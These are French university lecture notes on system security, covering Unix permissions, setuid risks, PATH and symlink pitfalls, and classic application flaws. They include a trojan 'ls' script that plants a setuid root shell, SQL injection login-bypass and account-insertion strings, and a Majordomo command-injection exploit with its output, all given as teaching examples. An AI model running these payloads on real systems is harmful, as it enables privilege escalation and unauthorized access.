Sécurité des systèmes informatiques

Notes de cours

Xavier Dubuc
Xavier.DUBUC@student.umons.ac.be

UMONS
Université de Mons

Table des matières

1 Préambule

L'examen ne comporte aucune contrainte vestimentaire *(le professeur n'en ayant cure, s'habillant lui aussi un peu comme il le désire)*. Les slides du cours sont disponibles sur **e-learning** (d'autres fichiers sont disponibles mais ils ne sont là que si cela interesse les élèves, ils sont purement informatifs et ne font donc pas partie de la matière d'examen).

2 Introduction

Avant à l'**UMH**, on utilisait *AIX*, distribution spéciale de *Unix* utilisée par **IBM** et on désirait n'utiliser que des programmes ≪*Open source*≫ et on utilisait que très peu de logiciels propriétaires. L'idée qui guidait l'**UMH** était de passer d'*AIX* à *Linux* (≪Se débarasser d'**IBM**≫). À la **Polytech**, ils possédaient également *Unix* au début mais par la suite ils sont passés à **Microsoft** *(avec des serveurs* **Microsoft Exchange** *pour tout ce qui est mail)*. L'avantage principal de l'**open source** est que si l'on découvre une faille de sécurité dans le logiciel utilisé, on peut la corriger nous-même.

3 Bases de Unix, point de vue sécurité

La commande *ls -ail* fournit tout un ensemble d'informations sur les fichiers, voici un exemple de résultat de son exécution :

```
xavier@Sephiroth:~/Bureau$ ls -ail
total 8
1308173 drwxr-xr-x  2 xavier xavier 4096 2010-09-01 17:18 .
1308162 drwxr-xr-x 40 xavier xavier 4096 2010-09-19 14:42 ..
1308442 lrwxrwxrwx  1 xavier xavier   22 2010-05-22 03:16 7even -> /media/OS/Users/Xavier
```

— la première lettre décrit le type de fichier,
  → *d* désigne un dossier,
  → *-* désigne un fichier,
  → *l* désigne un lien symbolique.
— les trois lettres qui suivent désignent les droits de l'*user*,
— les trois suivantes les droits du *groupe*,
— les trois dernières les droits des *"other"*,
— → *r* désigne le droit à la *lecture*, *-* désigne l'absence de ce droit. Dans le cas d'un répertoire, il s'agit de pouvoir voir ce que contient le répertoire.
  → *w* désigne le droit à l'*écriture*, *-* désigne l'absence de ce droit. Dans le cas d'un répertoire, il s'agit de pouvoir créer/supprimer un fichier dans le répertoire.
  → *x* désigne le droit à l'*exécution*, *-* désigne l'absence de ce droit. Dans le cas d'un répertoire, il s'agit de pouvoir se placer à l'intérieur de ce répertoire.
  → *s* à la place du droit d'exécution pour *user* désigne le placement de l'*UID Bit*,
  → *g* à la place du droit d'exécution pour le *groupe* désigne le placement du *GID Bit*,
  → *t* à la place du droit d'exécution pour *"other"* désigne le placement du *Sticky Bit*.
— Les terme *owner* et *user* désignent une seule et même personne, il s'agit du *possesseur* du fichier concerné.
— Le terme *groupe* désigne un groupe dont on a spécifié les droits d'accès (le *possesseur* du fichier ne fait pas spécialement partie de ce groupe, il se peut également qu'il fasse partie de plusieurs groupes).
— Le terme *other* désigne tout autre utilisateur ayant un accès au serveur, c'est-à-dire qu'il faut qu'il ait au moins accès à un *shell*, un accès **FTP**, ou autre, il a donc besoin d'un login et d'un mot de passe ce qui implique que ces personnes ne sont pas non plus n'importe qui.

3.1 Set UID/GID bit/Sticky bit

Un exemple d'utilisation concret de l'*UID bit* est le cas où l'utilisateur désire changer son mot de passe, il lui faut alors le droit en écriture dans le fichier. Si on inscrit *w* pour tout le monde pour résoudre ce problème, ça en crée un autre, chaque utilisateur du serveur pourra modifier le mot de passe de tout le monde. On place alors le *UID bit* ce qui permet d'être considéré comme le *possesseur* du fichier dans le contexte de l'exécution de la commande.

Pour le *Sticky bit*, l'exemple le plus concret est le dossier */tmp*, qui contient les fichiers temporaires créés par les applications lancées par tout utilisateur connecté au serveur. Le fait de placer le *Sticky bit* permet de conserver la trace du créateur du fichier *(pour que l'administrateur puisse se rendre compte si une application lancée par un utilisateur créé énormément de fichiers temporaires, par exemple)*.

Il faut éviter le plus possible l'utilisation de l'*UID bit* car c'est assez dangereux, par exemple si l'on modifie le contenu de la commande *passwd*, vu qu'elle appartient à *root* et que l'*UID bit* est placé, lors de l'exécution de cette commande, on est *root* ! *(On peut donc placer les commandes que l'on veut dans le fichier de la commande passwd et les exécuter en tant que root)*

3.2 chown/chmod et applications

Le *root (= administrateur)* est capable de modifier les *possesseurs* du fichiers (le *groupe* ainsi que l'*user*) via la commande *chown* ainsi que les droits de chacun (y compris *"other"*) via la commande *chmod*. Encore une fois, l'*user* possesseur du fichier n'appartient par forcément au *groupe* possesseur de ce même fichier, ainsi, on peut imaginer l'exemple suivant : les commandes nécéssaires à la gestion de ma boite mail doivent absolument avoir accès en écriture/lecture à ma boite de réception (mais les autres utilisateurs ne doivent pas l'avoir !). On crée alors un groupe *"mail"* qui va être placé comme *possesseur* de toutes les commandes nécéssaires au bon fonctionnement de l'application mail et on accorde les droits de lecture et écriture à ce groupe.

3.3 Permissions et umask

Les permissions peuvent être également exprimées de manière numérique *(pas important)* :

- $x = 1$
- $w = 2$
- $r = 4$

L'*umask* permet quant à lui de spécifier les droits attitrés par défaut aux fichiers créés, la notation est contraire à celle des permissions de fichier, ainsi 7 signifie *"aucun droit"*.
(Par défaut, les fichiers ne sont pas éxécutables mais les répertoires le sont)

3.4 Mots de passe

Dans le fichier *etc/passwd*, il y a des lignes du style :

```
buys:!:10001:1001:Alain Buys:/u/cci0100/buys:/bin/tcsh
```

Avant, à la place du *!* était placé le mot de passe (crypté), si on place "*" à la place de ce "!", le compte devient inutilisable.

3.5 su/sudo

La différence entre les deux est minime mais existe, dans le cas de *sudo*, il ne fonctionne que si l'utilisateur l'utilisant est répertorié comme utilisateur pouvant devenir *root* mais lors de l'utilisation de cette commande, le mot de passe demandé est celui du compte de l'utilisateur (aucun mot de passe pour le compte *root*). Tandis que pour *su* il s'agit de s'identifier en tant que *root* avec le mot de passe du compte *root*.

3.6 Commandes dangereuses

Exemple vécu, l'administrateur désirait vérifier que la commande *sh* se trouvait bien dans */usr/bin* et il a utilisé la commande suivante :

```
ls -al | grep sh
```

suite à l'utilisation de cette commande, plus aucune commande n'était utilisable. La raison à cela est que chaque ligne du listing effectué par la commande *ls -al* est du style *"drwxr... machin"* qui est passé à *"grep sh"* qui en fait donne simplement *"sh"* ce qui fait que la ligne passée est exécutée. Pour ces lignes là il n'y a pas de problème car la commande sera inconnue **mais** dans le répertoire **/usr/bin**, il y a beaucoup de lien symbolique dont la syntaxe dans le listing est la suivante :

```
1308442 lrwxrwxrwx 1 xavier xavier 22 2010-05-22 03:16 ls -> /media/OS/cmd/ls
```

Le > va envoyer toute la commande qui précède (et donc commande inconnue) dans le fichier qui suit, sachant que dans ce dossier il y a des liens symboliques pour les commandes qui pointent vers les vrais fichiers binaires des commandes, on va en fait modifier tous les fichiers binaires des commandes en y plaçant une commande inconnue, autrement dit on va remettre à 0 toutes les commandes !

Il est donc fortement conseiller de **tester** une commande avant de l'effectuer, par exemple la commande suivante :

```
ps -ef | grep imapd | grep Feb | awk '{print "kill "$2}' | sh
```

va supprimer toutes les sessions *imap (mail)* qui sont lancées depuis février et qui ne servent plus à rien. Tout ce qui précède le pipe (|) n'est qu'une impression de lignes "kill PID", onpeut donc envoyer tout ça à la commande **echo** afin d'afficher ce qui va être exécuté par **sh**.

3.7 La variable path

La variable *path* contient toutes les commandes que le système admet, ainsi, si on a une commande du genre :

```
/usr/tivoli/ ... /dsmc
```

si on tape simplement **dsmc** dans le *shell*, *"Commande inconnue"* apparaîtra. Une solution à ça, qui était utilisée par les travailleurs d'**IBM**, est d'ajouter le répertoire courant dans le *path*. Pour ce faire, on peut placer le répertoire à la fin ou au début, chacune de ces 2 façons engendrant des problèmes :

— **devant**, on réalise cet ajout avec la commande *(en csh)* :

```
set path = (. $path)
```

imaginons qu'il y ait un script dans ce dossier avec le nom de **ls**, le script sera exécuté à la place ! Un utilisateur pourrait dire à l'administrateur qu'il n'arrive pas à supprimer un fichier, celui-ci va dans ce dossier et effectue un **ls** pensant lister le contenu alors qu'il va exécuter le script :

```
cd ~user
ls
```

Jusque là rien de bien grave, mais imaginons que ce script soit "transparent" dans le sens qu'il va effectuer le ls quoiqu'il arrive mais également d'autres instructions, par exemple :

```
#!/bin/csh
cp -p /usr/bin/tcsh /tmp/myshell
chmod +s /tmp/myshell
/usr/bin/ls $1
```

Ce script va copier le shell (dont le possesseur est **root**) dans le répertoire **tmp** et y placer le *set UID bit*, rendant ainsi un shell accessible en root !

— **derrière**, on réalise cet ajout avec la commande *(en csh)* :

```
set path = ($path .)
```

c'est moins évident ici, imaginons qu'un script se nomme **sl** et que l'administrateur fait une faute de frappe et tape **sl** au lieu de **ls**, au lieu de voir apparaître *"Commande inconnue"*, il exécutera un script créé par l'utilisateur, qui peut contenir n'importe quoi, comme le script ci-haut !

```
cd /tmp
sl
```

On peut ainsi résumer ce cas à *2 erreurs*, la première est l'ajout de *.* dans la variable *path* et la seconde est que l'administrateur n'a aucun besoin de se déplacer dans le dossier de l'utilisateur pour lister ce qu'il contient, il peut très bien taper :

```
ls ~user
```

Il faut également rappeller que si il y a un fichier exécutable dans le dossier courrant du nom de **ls**, si on tape **ls** dans le terminal, c'est la commande **ls** de */usr/bin* qui sera exécutée et pas le fichier. Les utilisateurs ont tendance à croire que pour lancer la commande, si elle n'est pas dans *path*, il faut taper tout le chemin vers cette commande alors qu'il suffit de taper *./ls* lorsque l'on est dans le dossier de cette commande.

3.8 Contenu d'un dossier

Dans les comptes de l'université, chaque utilisateur possède un fichier .login, .tcshrc, .profile, .. il y en a beaucoup comme ça. On peut trouver ça lassant d'effectuer les commandes suivantes pour chaque fichier cité précédemment :

```
cp -p /etc/umh/profiles/.login ~user/
chown user.group ~user/.login
```

On se dit alors que l'on va utiliser la commande suivante pour tout faire en une fois :

```
chown -R user.group ~user/
```

ce qui est une *grosse erreur*, en effet, que peut contenir le dossier ? Il se pourrait qu'il contienne un *lien symbolique* du type sendmail → /usr/local/bin/sendmail, la commande **chown** suivant les *liens symboliques*, elle va modifier la commande **sendmail** utilisée par tout le monde en plaçant l'utilisateur comme possesseur de celle-ci. Résultat, la commande ne fonctionne plus pour personne, plus personne ne peut envoyer de mail !

Remarque : *chown -Rh user.group ~user/* permet de ne pas suivre les liens symboliques.

3.9 Access List

Ces listes permettent de raffiner les droits d'accès à un fichier, elles permettent par exemple d'accorder le droit d'écriture à certaines personnes d'un groupe mais pas à toutes, ou qu'un serveur web puisse avoir accès à un fichier où incrémenter un compteur pour le nombre de visites.

4 Vulnérabilités dans les applications

Il s'agit ici de voir plusieurs cas où les applications ont fait preuve de failles menant à un problème de sécurité. Lorsque l'on place un ordinateur, il faut se poser les bonnes questions, c'est-à-dire qu'il faut se demander si on a besoin réellement d'un réseau, si on peut pas travailler avec des graveurs, disques externes ou autres pour transvaser les données (si ce n'est pas de manière continue). On peut aussi se demander si le réseau doit être public ou privé, si l'ordinateur concerné doit être visible de l'extérieur.

4.1 Ping de la mort

Le *ping* était défini pour envoyer/recevoir des paquets de *64 bytes* mais **Windows** permettait d'envoyer des paquets de données plus grands ce qui provoquait un *Denial of Service* et les 2 **OS** plantaient.

4.2 FTP Anonyme

Le fait de mettre l'upload en anonyme est dangereux, en effet on peut retrouver des fichiers illégaux *(genre des films et tout ça)* et on peut avoir accès à des fichiers du genre *.rhosts*. L'architecture des serveurs *FTP* en général est de placer les fichiers dans **/pub**, dossier où juste *root* peut écrire *(on va créer des sous-répertoires pour chaque utilisateur ou groupe)*. Lorsque l'on fait du *FTP non- anonyme*, le compte **ftp** ne peut écrire nulle-part mais les sous-traitants peuvent créer des fichiers/dossiers avec la permission **777** (et donc le compte **ftp** peut y écrire !).

Question d'examen : on souhaite envoyer les fichiers **pdf** avant une conférence regroupant plusieurs exposés mais ils sont trop gros pour être envoyés par mail et le *ftp* n'est pas destiné aux gens extérieurs. Comment faire ? L'idée est de créer le dossier *ftp/incoming* tel que tout le monde peut y écrire mais pas lire, ainsi on peut uploader mais personne ne peut voir ce qui est uploadé sauf root. Il faut cependant faire gaffe, vu que l'on a accès en écriture, on peut créer un sous répertoire d'*incoming* et je lui mets les protections que je veux, il suffit dès lors que j'upload mes fichiers dans ce dossier et tout le monde peut les voir.

4.3 Serveur Web

Le problème évoqué avec *httpd* qui tourne sous root et qu'il n'y a pas de *shadow file* peut être résolu en utilisant un *shadow file* **bien utilisé**, c'est-à-dire que le fichier */etc/passwd* contient **" !"** à la place du mot de passe de l'utilisateur pour que le *shadow file* soit interrogé. On pourrait aussi supprimer l'accès root mais ce n'est pas possible car si on veut par exemple utiliser la connexion sécurisée *HTTPS*, celle-ci fonctionne avec du **SSL** et on a donc besoin de certificats pour attester que le site utilisé est bien le bon site. Ces certificats sont accessibles que par root, d'où la nécessité de l'accès root au serveur.

Quant à la protection des fichiers sur un serveur web, le fait d'autoriser la lecture à tout le monde n'est pas une bonne idée car il peut y avoir des codes php qui accèdent à la base de données et ces fichiers contiennent donc le mot de passe et le login du serveur. Il se peut alors que le fichier ne soit pas exécuté par le serveur mais que celui-ci affiche simplement le contenu du fichier (on peut par exemple trouver des fichiers **.php**$\sim$, fichiers backups qui ne seront probablement pas exécutés).

4.4 /tmp

Les applications suivent-elles les liens symboliques dans le répertoire */tmp* ? Si c'est le cas, il faut être conscient qu'une application lancée avec les droits de **root** peut amener à supprimer un fichier se trouvant ailleurs sur le disque (imaginons un lien symbolique *"sss"* pointant vers */usr/bin/ls*, si on utilise une application du type rm sur le fichier et qu'il suit le lien symbolique ... Ou simplement une application permettant d'écrire dans un fichier, ce qui remplacerait le contenu du binaire !) Il est donc de bonne pratique de coder les applications de manière à ce qu'elles ne suivent pas les liens symboliques.

4.5 Injection SQL

Il s'agit ici d'entrer du code *SQL* à la place d'un identifiant demandé par une application, imaginons que l'application exécute le code suivant avec les données entrées par l'utilisateur :

```
SELECT count(*) FROM emp
WHERE emp.ename='<input_ename>' AND emp.pwd = password('<input_pwd>');
```

Imaginons maintenant que l'utilisateur entre comme *'<input_ename>'* : **"bob' ;- -"**, le code *SQL* devient :

```
SELECT count(*) FROM emp
WHERE emp.ename='bob';-- AND emp.pwd = password('<input_pwd>');
```

Les 2 - ont pour effet de commenter la fin de la requête ce qui veut dire que le mot de passe ne sera pas vérifié ! Pire encore, si l'utilisateur connait un peu l'architecture de la base de données (il pourrait de toute façon la connaître en tapant comment nom d'utilisateur **bob' ; show tables ;** - -) il pourrait entrer quelque chose comme :

bob' ; INSERT INTO emp VALUES ('jef', password('bingo')) ;- -

ajoutant ainsi carrément un compte permettant d'accéder à la base de données !

La solution à cette faille est de traiter chaque chaîne de caractères de sorte que ces caractères spéciaux soit considérés comme de simples caractères, dans le premier exemple, on considèrera toute la chaîne de caractères (**"bob\' ;- -"**) comme nom d'utilisateur.

4.6 Buffer overflow

Il s'agit ici d'erreurs dues au fait que l'on accède à des zones mémoires qui ne sont pas allouées au programme que l'on a écrit, elles peuvent être sans conséquences mais peuvent également être critiques (écrans bleus, ...). Si l'erreur est commise à cause d'un des paramètres du programme, c'est d'autant plus grave car un utilisateur connaissant bien le système d'exploitation pourrait introduire un code d'attaque comme paramètre.

4.7 Majordomo

```
bash-2.02$ /usr/local/majordomo/wrapper resend '@|cp /bin/ksh
/tmp/xnec;chmod 6555 /tmp/xnec'
resend: must specify '-l list' at /usr/local/majordomo/resend line 77.
bash-2.02$ ls -la /tmp/xnec
-r-sr-sr-x 1 owner daemon 361688 Dec 29 06:26 /tmp/xnec
```

L'idée est que de cette manière il y a moyen de copier le fichier du **shell** en y mettant le *Set UID Bit* dans le répertoire *tmp* de manière simple, même si la commande retourne une erreur, le ls qui suit permet de confirmer que le fichier a bien été créer. Comme la commande wrapper est placée avec un *set UIB Bit* et appartient à **root**, le fichier créé appartient également à **root** ; l'utilisateur possède alors un shell exécuté en tant que **root**. Décortiquons la commande :

- le *resend* est présent à cause de la présence de listes modérées, en fait ces listes sont des listes de mails mais une personne reçoit d'abord le mail et doit confirmer que le mail doit être envoyé à toutes les personnes de la liste en envoyant le mail à la liste *(mais de cette manière il va de nouveau recevoir le mail avant tout le monde...)*. La solution à ça est alors d'implémenter une seconde liste, non modérée, dont le nom est secret et on envoie alors le mail à cette liste là, c'est exactement ce que permet l'option *resend*, elle va aller voir la seconde liste dont le nom est secret pour envoyer les mails.
- la commande *wrapper* doit absolument avoir les accès **root** car elle doit envoyer les mails au final, et a donc besoin d'utiliser sendmail etc, d'où le *set UID Bit*.
- l'*@* permet de dire qu'il faut aller lire dans le fichier qui suit les données qui s'y trouvent, l'idée est ici est purement sécuritaire, si on écrit dans un fichier la liste des personnes de la liste de mails, tout le monde peut la lire avec une simple commande permettant de lister la commande effectuée lorsque l'on fait appel à une liste de mails. Or ici ce que verra l'utilisateur c'est que la liste est lue à partir d'un certain fichier, fichier qui ne sera évidemment pas accessible à celui-ci.
- l'| spécifie simplement qu'il s'agit d'une commande et qu'il doit l'exécuter.

Dans la version suivante, ils ont arrangé le problème, cependant il est toujours possible d'exécuter des commandes en tant que **majordomo** ou **daemon** *(c'est-à-dire comme gestionnaire des différentes listes de mails)*.

4.8 Sendmail & mailq

La commande *mailq* possède un set-uid bit et appartient à *root*, elle peut donc être exécutée par tout le monde avec les droits de *root*. Chaque mail possède un *Q-ID*, et pour chaque mail il existe 2 fichiers *(par exemple* **MAA06794***)* :

1. **qfMAA06794** qui contient les infos sur l'expéditeur du message, le récepteur, .. l'entête,
2. **afMAA06794** qui contient le corps du message.

Par la suite, une nouvelle version est sortie, version qui apporte plus de confidentialité car tout le monde ne peut plus exécuter **mailq** et donc tout le monde ne voit plus qui envoie quoi.

(Petite parenthèse, par défaut sous Linux, à la création d'un utilisateur → un groupe du même nom est créé.)

Il faut faire attention quand on modifie les droits des fichiers **sendmail**, si on modifie pas dans le fichier de configuration, lors d'un reboot du serveur, tout est remis à l'état initial.

Avec le scan antivirus des mails, il faut également couvrir l'ordinateur avec un anti-virus car il peut y avoir d'autres applications comportant des failles.